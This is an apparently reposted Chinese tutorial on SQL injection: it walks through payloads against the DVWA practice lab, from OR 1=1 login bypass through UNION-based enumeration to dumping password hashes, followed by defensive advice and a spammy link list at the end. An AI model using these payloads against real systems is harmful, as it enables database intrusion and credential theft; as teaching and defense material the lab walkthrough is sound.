当前位置: 首页 > wzjs >正文

国外网站网站app赣州万图网络科技有限公司

国外网站网站app,赣州万图网络科技有限公司,淘宝网pc首页,yanderedev wordpress文章目录 一 真实案例二 SQL注入三 为什么危害堪比核弹?四 深入解剖攻击原理🎯 4.1:探测SQL漏洞的存在🎯 4.2:数据库信息探测🎯 4.3:数据库信息探测🎯 4.4:数据库信息进一…

文章目录

  • 一 真实案例
  • 二 SQL注入
  • 三 为什么危害堪比核弹?
  • 四 深入解剖攻击原理
    • 🎯 4.1:探测SQL漏洞的存在
    • 🎯 4.2:数据库信息探测
    • 🎯 4.3:数据库信息探测
    • 🎯 4.4:数据库信息进一步探测
    • 🎯 4.5:数据库表中敏感信息探测
  • 五 防御指南:四重黄金法则
    • 🔒5.1 法则1:参数化查询(最有效!)
    • 🔒5.2 法则2:输入严格过滤
    • 🔒5.3 法则3:最小权限原则
    • 🔒5.4 法则4:深度防御策略
  • 六 检测:你的网站安全吗?

“比忘记WHERE子句更可怕的,是把用户输入直接当代码执行。” —— 每个被SQL注入毒打过的开发者


一 真实案例

  • 场景:某电商网站登录框
  • 正常SQL
    SELECT * FROM users WHERE username = '输入的用户名' AND password = '输入的密码';
    

攻击者输入: 用户名:admin' -- ,密码:任意值(如123)。最终SQL变形成
sql SELECT * FROM users WHERE username = 'admin' -- ' AND password = '123'

  • 👉 结果:攻击者以admin身份直接登录!因为--在SQL中是注释符,密码验证被直接忽略。

二 SQL注入

  • 通俗解释:黑客通过篡改SQL查询结构,把恶意代码“注入”到正常SQL语句中,欺骗数据库执行非法操作。
  • 技术本质:用户输入数据未被正确处理,与代码指令发生混淆,导致数据被当作代码执行。

三 为什么危害堪比核弹?

危害类型具体后果真实案例
数据窃取盗取用户密码、银行卡信息雅虎5亿账户泄露事件
数据篡改修改商品价格、账户余额某电商1元买iPhone漏洞
系统接管获取服务器控制权限某政府系统被植入后门
数据删除清空整个数据库表某公司用户数据遭恶意删除

四 深入解剖攻击原理

  • 以下案例中在DVWA平台low安全水平下进行SQL注入练习。

🎯 4.1:探测SQL漏洞的存在

  • 通过以下的执行结果探测,确定漏洞的存在。
SELECT first_name, last_name FROM users WHERE user_id = '$id';

攻击payloadusername = ' OR 1=1 -- 或者username=' or 1=1 #
生成SQL

SELECT * FROM users WHERE username='' OR 1=1 --;

攻击效果:条件永真,返回所有用户数据

🎯 4.2:数据库信息探测

  • 判断数据库的列数order by [column_num]
SELECT first_name, last_name FROM users WHERE user_id = '1' order by 1#';
SELECT first_name, last_name FROM users WHERE user_id = '1' order by 2#';
SELECT first_name, last_name FROM users WHERE user_id = '1' order by 3#"
  • 用户输入1' order by 1#,得到返回结果确定数据库表中存在一列,继续增加列数的数值,探测数据表的总列数。如果不存在,会报错 Unknown column '3' in 'order clause' in。用户输入的数据为 1′order by 3#时网页出现报错,证明该数据库表有 2 列/字段
    在这里插入图片描述

🎯 4.3:数据库信息探测

  • 在确定该接口使用的数据库表的列数之后,可以继续使用union进行获取数据库的更多资源。如,上一步测试的数据库表只有两列。
' UNION SELECT user(),database() #

攻击效果:暴漏当前连接数据库的用户和数据库名

ID: ' UNION SELECT user(),database() #
First name: dvwa_ZfhAQF@172.18.0.3
Surname: dvwa_xmxbmd

  • 常用信息收集函数:
  1. 系统信息函数
@@version 或 version(): 数据库版本。
@@basedir: MySQL安装的基本目录。
@@datadir: 数据文件存储目录。
@@hostname: 服务器主机名。
@@version_compile_os: 操作系统信息。
  1. 数据库信息函数
schema(): 同database(),返回当前数据库名。
table_schema (通过information_schema.tables): 获取所有数据库名。
  1. 用户信息函数
current_user(): 当前用户。
system_user(): 系统用户。
session_user(): 会话用户。
  1. 文件和路径函数
load_file('/etc/passwd'): 读取文件内容(需要权限)。
@@tmpdir: 临时目录。
@@secure_file_priv: 安全文件目录。
  1. 其他实用函数
UUID(): 返回一个通用唯一标识符。
connection_id(): 当前连接的ID。
last_insert_id(): 最后插入的自动增量值。
row_count(): 上一个语句影响的行数。

🎯 4.4:数据库信息进一步探测

  • information_schema是Mysql5.0后新增的元信息数据库,保存Mysql服务器所保存的所有的其他数据库信息,如schemata(数据库信息)、tables(表信息)、columns(列信息)。
  • 联合查询表(查询数据的名称和表的名称);
union select table_name,table_schema from information_schema.tables where table_schema='[database_name]'
SELECT first _name, last_name FROM users WHERE user_id = '1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#';
  • 结合上一步获取到的数据库名dvwa_xmxbmd和使用的表只有两列,可以采用以下语句进行执行,查询目前数据库中的表。
' union select table_name,table_schema from information_schema.tables where table_schema='dvwa_xmxbmd' #
ID: ' union select table_name,table_schema from information_schema.tables where table_schema='dvwa_xmxbmd' #
First name: guestbook
Surname: dvwa_xmxbmd
ID: ' union select table_name,table_schema from information_schema.tables where table_schema='dvwa_xmxbmd' #
First name: users
Surname: dvwa_xmxbmd
  • 继续查看具有意义的users表中的列信息,执行以下输入
1' union select column_name,data_type from information_schema.columns where table_name='users' #
ID: 1' union select column_name,data_type from information_schema.columns where table_name='users' #
First name: admin
Surname: admin
ID: 1' union select column_name,data_type from information_schema.columns where table_name='users' #
First name: avatar
Surname: varchar
ID: 1' union select column_name,data_type from information_schema.columns where table_name='users' #
First name: failed_login
Surname: int
ID: 1' union select column_name,data_type from information_schema.columns where table_name='users' #
First name: first_name
Surname: varchar
ID: 1' union select column_name,data_type from information_schema.columns where table_name='users' #
First name: last_login
Surname: timestamp
ID: 1' union select column_name,data_type from information_schema.columns where table_name='users' #
First name: last_name
Surname: varchar
ID: 1' union select column_name,data_type from information_schema.columns where table_name='users' #
First name: password
Surname: varchar
ID: 1' union select column_name,data_type from information_schema.columns where table_name='users' #
First name: user
Surname: varchar
ID: 1' union select column_name,data_type from information_schema.columns where table_name='users' #
First name: user_id
Surname: int
  • 我们可以看到,users表中存在userpassword重要的信息,可以继续进一步查看。

🎯 4.5:数据库表中敏感信息探测

  • 联合查询信息union [query_sql]
SELECT first_name, last_name FROM users WHERE user_id = '1' union select user,password from users #';
  • 可以输入以下命令进行注入
1' union select user,password from users #
ID: 1' union select user,password from users #
First name: admin
Surname: admin
ID: 1' union select user,password from users #
First name: admin
Surname: 5f4dcc3b5aa765d61d8327deb882cf99
ID: 1' union select user,password from users #
First name: gordonb
Surname: e99a18c428cb38d5f260853678922e03
ID: 1' union select user,password from users #
First name: 1337
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b
ID: 1' union select user,password from users #
First name: pablo
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7
ID: 1' union select user,password from users #
First name: smithy
Surname: 5f4dcc3b5aa765d61d8327deb882cf99
  • 可以在https://www.cmd5.com/解密部分md5加密数据,如admin的密码解密为password

五 防御指南:四重黄金法则

🔒5.1 法则1:参数化查询(最有效!)

# Python + psycopg2 安全示例
import psycopg2
sql = "SELECT * FROM users WHERE username = %s AND password = %s"
cursor.execute(sql, (username, password))

🔒5.2 法则2:输入严格过滤

// Node.js 过滤示例
function sanitize(input) {return input.replace(/['";\\]/g, ''); // 移除敏感字符
}

🔒5.3 法则3:最小权限原则

CREATE USER webuser WITH PASSWORD 'strongPwd!';
GRANT SELECT ON users TO webuser; -- 仅授权必要权限
REVOKE DROP, DELETE ON *.* FROM webuser; -- 回收危险权限

🔒5.4 法则4:深度防御策略

  • Web应用防火墙(WAF)规则示例:
    # Nginx配置拦截SQL注入特征
    location / {set $block_sql_inject 0;if ($query_string ~* "union.*select.*\(") {set $block_sql_inject 1;}if ($block_sql_inject = 1) {return 403;}
    }
    

六 检测:你的网站安全吗?

测试工具(仅用于合法授权测试):

  1. SQLMap:sqlmap -u "http://example.com?id=1"
  2. Burp Suite:拦截请求修改参数为id=1' AND 1=Sleep(5)--
  3. 手动检测:输入单引号'观察是否报错

安全自查表

  • 所有数据库操作使用参数化查询
  • 错误信息不泄露数据库结构
  • 数据库连接使用最低权限账户
  • 关键操作有二次验证机制

  • 记住:“永远不要信任用户输入,验证、过滤、参数化——这三板斧能救你的系统一命。”

文章转载自:

http://3w3gyP7l.gnjkn.cn
http://L0dB2hU6.gnjkn.cn
http://0Bslhgsu.gnjkn.cn
http://NOPii2eV.gnjkn.cn
http://H3thnVqo.gnjkn.cn
http://sbD25HX8.gnjkn.cn
http://KV5hcUw2.gnjkn.cn
http://bJf5mlh9.gnjkn.cn
http://VgEZV7mX.gnjkn.cn
http://v8II8bxi.gnjkn.cn
http://OvdZKLye.gnjkn.cn
http://rreN6Op4.gnjkn.cn
http://fzF6FnHk.gnjkn.cn
http://nEBnBchA.gnjkn.cn
http://EI5cHV1D.gnjkn.cn
http://RAw13ZGC.gnjkn.cn
http://G9wCawdR.gnjkn.cn
http://zTWkmrso.gnjkn.cn
http://4SLoCr6f.gnjkn.cn
http://skqoHZIY.gnjkn.cn
http://25NFDsOI.gnjkn.cn
http://PHT4pa9e.gnjkn.cn
http://rxDbvh99.gnjkn.cn
http://06ReH3Lb.gnjkn.cn
http://88aPt0Sr.gnjkn.cn
http://b5DuHY6y.gnjkn.cn
http://GTRXkFsA.gnjkn.cn
http://lvzZRq0j.gnjkn.cn
http://pgAzbujV.gnjkn.cn
http://TQb12Oua.gnjkn.cn
http://www.dtcms.com/wzjs/688513.html

相关文章:

  • 网站备案被注销注册深圳公司多少钱
  • 怎么查网站后台地址网站风格配置怎么做
  • 网站的运作流程西安网站挂标
  • 08网站建设沈阳营销型网站建设
  • wordpress 站群模板网站开发教程图文
  • 外链发布网站网络营销的概念可译为
  • 一般给公司做网站怎么收费军博做网站公司
  • 初学者做网站怎么设置网站的关键字
  • 网站统计器金融公司网站开发费用入什么科目
  • 网站个人中心wordpress怎么让网站快速被收录
  • 湛江手机网站制作企业如何注册自己的网站
  • 怎么建设一个手机网站做淘客要有好的网站
  • 采购合同做网站wzjseo
  • 娱乐城网站开发北京小程序开发多少钱
  • 网站设计的特点wordpress 高端主题
  • 北京模板建站设计宁波网络优化seo报价
  • 简约的网站建设郑州高端品牌网站建设
  • 音乐类网站建设选题背景昆明网上房地产官网
  • 捷讯官网 网站建设购物网站建设课程设计
  • 广东省住房建设厅网站6东莞网站建设推广平台
  • 电商网站建设与运营成本国外网站托管
  • 网站建设合同范文找建设企业网站公司
  • 搜索引擎网站推广可以自己做吗网站改版多久恢复
  • 网站建设要费用多少企业网站建设费记什么科目
  • nas怎么做网站服务器域名注册商排名
  • 做网站市场价wordpress邮件验证码确认
  • 太原网站建设平台自己做的网站注册用户无法收到激活邮箱的邮件
  • 天津住房与城乡建设厅网站百度快照如何优化
  • 网站换公司吗门户网站开发研究报告
  • 淄博找能做网站的公司淄博建站哪家好